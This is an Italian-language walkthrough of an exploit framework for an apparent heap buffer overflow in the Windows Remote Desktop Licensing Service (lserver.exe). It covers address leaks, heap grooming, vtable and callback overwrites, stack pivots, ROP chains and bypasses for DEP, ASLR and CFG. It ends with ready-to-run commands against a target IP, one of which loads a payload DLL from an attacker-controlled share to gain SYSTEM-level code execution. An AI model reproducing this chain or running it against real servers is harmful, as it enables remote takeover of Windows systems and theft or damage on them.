
Questo documento spiega ogni componente del framework, perché esiste, e come funziona lo sfruttamento dell'heap buffer overflow su Windows moderno.
Il Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow nella funzione CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITÀ: Calcolo errato della dimensione │
├─────────────────────────────────────────────────────────────┤
│ 1. Il client invia dati Base64 di dimensione N │
│ 2. Il server calcola: buffer_size = (N / 4) * 3 │
│ 3. Il server alloca un buffer di 'buffer_size' byte │
│ 4. La decodifica Base64 REALMENTE scrive: ceil(N * 3/4) byte │
│ 5. Se N non è multiplo di 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Esempio concreto:
(4001 / 4) * 3 = 1000 * 3 = 3000 byte allocaticeil(4001 * 0.75) = 3001 byte scritti┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FondamentaUtility di basso livello per la manipolazione della memoria.
Gli exploit necessitano di:
# Pack/Unpack - Convertire interi in byte e viceversa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Pattern Ciclico - Per identificare l'offset del crash
cyclic(100) # Genera sequenza di De Bruijn
cyclic_find(pattern, value) # Trova l'offset del valore
# Allineamento - La memoria deve essere allineata
align(0x1003, 0x10) # → 0x1010 (allinea a 16 byte)
Problema reale: Causi un crash e il RIP contiene 0x61616171.
cyclic_find(pattern, 0x61616171) → offset esatto!leak.py - Bypass di ASLRAddress Space Layout Randomization: A ogni avvio/esecuzione, gli indirizzi cambiano.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Senza sapere dove si trova la memoria:
class LeakInfo:
"""Container per indirizzi divulgati"""
heap_base: int # Base dell'heap
ntdll_base: int # Base di ntdll.dll
kernel32_base: int # Base di kernel32.dll
# ...
class LeakProvider:
"""Orchestratore delle fonti di leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Prova ogni fonte finché non ci riesce
| Fonte | Come Funziona | Quando Usarla |
|---|---|---|
In demo/lab, puoi:
--ntdll-base 0x7ffa...Questo simula un leak reale, permettendo di testare il resto della catena.
target_model.py - Mappatura del TargetModellazione delle strutture dati vulnerabili e adiacenti.
Overflow ≠ Exploit. Dobbiamo sapere:
class VulnerableBuffer:
"""Il buffer che subirà l'overflow"""
allocation_size: int # Quanto è stato allocato
write_size: int # Quanto verrà scritto
overflow_amount: int # Differenza = overflow
def calculate_overflow(input_size):
# Simula il bug di calcolo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Oggetto che verrà corrotto (adiacente nell'heap)"""
fields: List[StructField]
has_vtable: bool # Ha una tabella virtuale?
has_function_ptr: bool # Ha un puntatore a funzione?
# Oggetto ipotetico basato su reverse engineering
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campi mappati
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marca i campi utili per lo sfruttamento:
vtable: Se la sovrascriviamo, controlliamo le chiamate ai metodicallback: Se lo sovrascriviamo, controlliamo quando il callback viene invocatowrite_primitive.py - Scrittura ControllataL'overflow scrive dati sequenziali. Ma ci serve:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Costruisce il buffer di overflow con valori precisi
Layout:
[PADDING fino all'offset] [VALORE CONTROLLATO] [ALTRI DATI]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Inserisce il valore esatto all'offset esatto
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Sovrascrivere la vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Sovrascrivere il callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Scrittura | Risultato |
|---|---|
| AAAA... | Crash senza controllo |
| Indirizzo preciso all'offset preciso | Esecuzione controllata |
heap_controller.py - Heap GroomingWindows usa LFH (Low Fragmentation Heap) e Segment Heap:
Grooming = Manipolare l'heap per ottenere un layout deterministico.
PRIMA DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Allocazioni casuali, buchi imprevedibili
DOPO IL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controllato, "buchi" dove vogliamo
class HeapLayoutController:
def execute_full_groom(self):
# Fase 1: Riempire i buchi esistenti
self.phase_fill(50)
# Fase 2: Attivare LFH per il bucket target
# (Windows attiva LFH dopo ~17 allocazioni della stessa dimensione)
self.phase_activate_lfh()
# Fase 3: Spray - creare un pattern denso
sprayed = self.phase_spray(200)
# Fase 4: Creare buchi strategici
# Liberiamo ogni N allocazioni
self.phase_create_holes(sprayed, interval=4)
# Fase 5: Stabilizzare
self.phase_stabilize()
trigger.py - Innesco Post-CorruzioneLa corruzione è avvenuta. E ora?
Stato attuale:
- Memoria corrotta ✓
- Valore malevolo scritto ✓
- Ma nessuno ha ANCORA USATO quel valore!
Dobbiamo far sì che il programma legga e usi il dato corrotto.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Strategie implementate:
class SecondRequestTrigger:
"""Effettua una seconda chiamata RPC che usa l'oggetto corrotto"""
class DestructorTrigger:
"""Disconnette - forza la cleanup che usa i puntatori corrotti"""
class TimerTrigger:
"""Attende che il timer interno elabori lo stato corrotto"""
1. Prima chiamata RPC → La corruzione avviene
2. Disconnect (trigger) → Il server chiama il distruttore
3. Il distruttore legge la vtable corrotta → Chiama il nostro indirizzo
4. Esecuzione controllata!
execution.py - Controllo del FlussoRIP (x64) o EIP (x86) = Instruction Pointer
Se controlliamo l'instruction pointer, controlliamo l'esecuzione.
class HijackMethod(Enum):
VTABLE = 0 # Più comune nell'heap overflow
FUNCTION_PTR = 1 # Puntatore a callback
RETURN_ADDR = 2 # Stack overflow (non è il nostro caso)
OGGETTO NORMALE:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legittimo
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
DOPO LA CORRUZIONE:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← NOSTRO!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
Quando method1 viene chiamato → Esegue il nostro gadget!
Problema: il vtable hijack ci dà UNA chiamata. Ci serve di più.
Soluzione: Stack Pivot
# Gadget che cambia RSP verso dove si trova la nostra ROP chain
xchg rax, rsp; ret # RAX = nostro indirizzo → RSP = nostro indirizzo
# Ora lo "stack" è la nostra area controllata!
# Ogni RET salta al gadget successivo della nostra ROP chain
code_reuse.py - ROP ChainsDEP (Data Execution Prevention): Heap e Stack sono NON-ESEGUIBILI.
Shellcode nell'heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
Incateniamo "gadget" - piccoli pezzi di codice che terminano con RET.
GADGET 1: pop rcx; ret ← Inserisce il valore in RCX
GADGET 2: pop rdx; ret ← Inserisce il valore in RDX
GADGET 3: call LoadLibraryA ← Chiama la funzione!
STACK/ROP CHAIN (nostra area controllata):
┌────────────────────┐
│ addr di pop_rcx │ ← RSP punta qui
├────────────────────┤
│ valore per RCX │ ← Verrà "poppato" in RCX
├────────────────────┤
│ addr di pop_rdx │ ← RET andrà qui
├────────────────────┤
│ valore per RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finalmente chiama!
└────────────────────┘
# Caricare una DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Allocare memoria eseguibile
build_virtual_alloc(size) → ROP chain + RAX = indirizzo RWX
# Eseguire un comando
build_winexec(cmd_addr) → ROP chain
payload.py - Payload Semantico| Tipo | Esempio | Risultato |
|---|---|---|
| Dati | AAAAAA... | Crash |
| Intenzione | ROP + percorso DLL | DLL caricata |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verificare se l'exploit funziona
DLL_INJECT = 1 # Caricare la nostra DLL
COMMAND_EXEC = 2 # Eseguire un comando
SHELLCODE = 3 # Eseguire shellcode tramite ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Struttura finale:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Esegue per primo
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← Stringa del percorso
└──────────────────────────────┘
La ROP chain passa l'indirizzo della stringa a LoadLibraryA
"""
mitigations.py - Consapevolezza delle Mitigazionidef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Obbligatorio
if mitigations.ASLR.enabled:
config["require_leak"] = True # Obbligatorio
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # Più spray
┌─────────────────────────────────────────────────────────────────┐
│ FLUSSO DI EXPLOIT │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Ottenere gli indirizzi di memoria
├─ Input: manuale o auto-leak
└─ Output: LeakInfo con le basi dei moduli
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calcolare l'ammontare dell'overflow
├─ Identificare gli oggetti adiacenti
└─ Determinare gli offset di corruzione
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Creare un layout deterministico
└─ Preparare la "zona di atterraggio" per l'allocazione vulnerabile
↓
STAGE 4: PAYLOAD (Build)
├─ Costruire la ROP chain
├─ Includere stringhe/dati necessari
└─ Combinare con i dati di overflow
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Inviare la chiamata RPC malevola
├─ Causare l'overflow
└─ Sovrascrivere il target (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect o seconda chiamata
├─ Forzare l'uso del puntatore corrotto
└─ Hijack dell'esecuzione
↓
STAGE 7: EXECUTE (RCE)
├─ La ROP chain esegue
├─ LoadLibraryA carica la DLL
└─ CODICE ARBITRARIO IN ESECUZIONE!
↓
┌─────────────────────────────────────────────────────────────┐
│ RISULTATO: Shell reverse, backdoor, ecc. come SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Solo per verificare se il servizio è in esecuzione
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (non invia il payload, simula tutto)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Eseguire calc.exe (PoC classico)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
Questo framework è per:
NON per:
Frase chiave:
"Sfruttare un heap buffer overflow su Windows moderno non è solo 'scrivere troppo'. È una catena precisa di leak → groom → corrupt → trigger → execute."
I 9 Moduli:
Senza uno qualsiasi di questi, non c'è RCE.
ManualLeakSource| L'utente fornisce gli indirizzi |
| Lab/Debug con accesso al target |
ResponseLeakSource | Estratto dalle risposte RPC | Se il servizio fa trapelare puntatori |
TimingLeakSource | Side-channel temporale | Teorico, molto difficile |
| Mitigazione | Cosa Fa | Il Nostro Bypass |
|---|
| DEP | Heap/Stack non eseguibili | ROP (riuso del codice) |
| ASLR | Indirizzi randomizzati | Info leak |
| CFG | Valida le destinazioni delle call | Chiamare destinazioni valide, poi pivot |
| Stack Cookie | Rileva lo stack overflow | Non usiamo stack overflow |
| Heap Hardening | Guard pages, ecc. | Grooming accurato |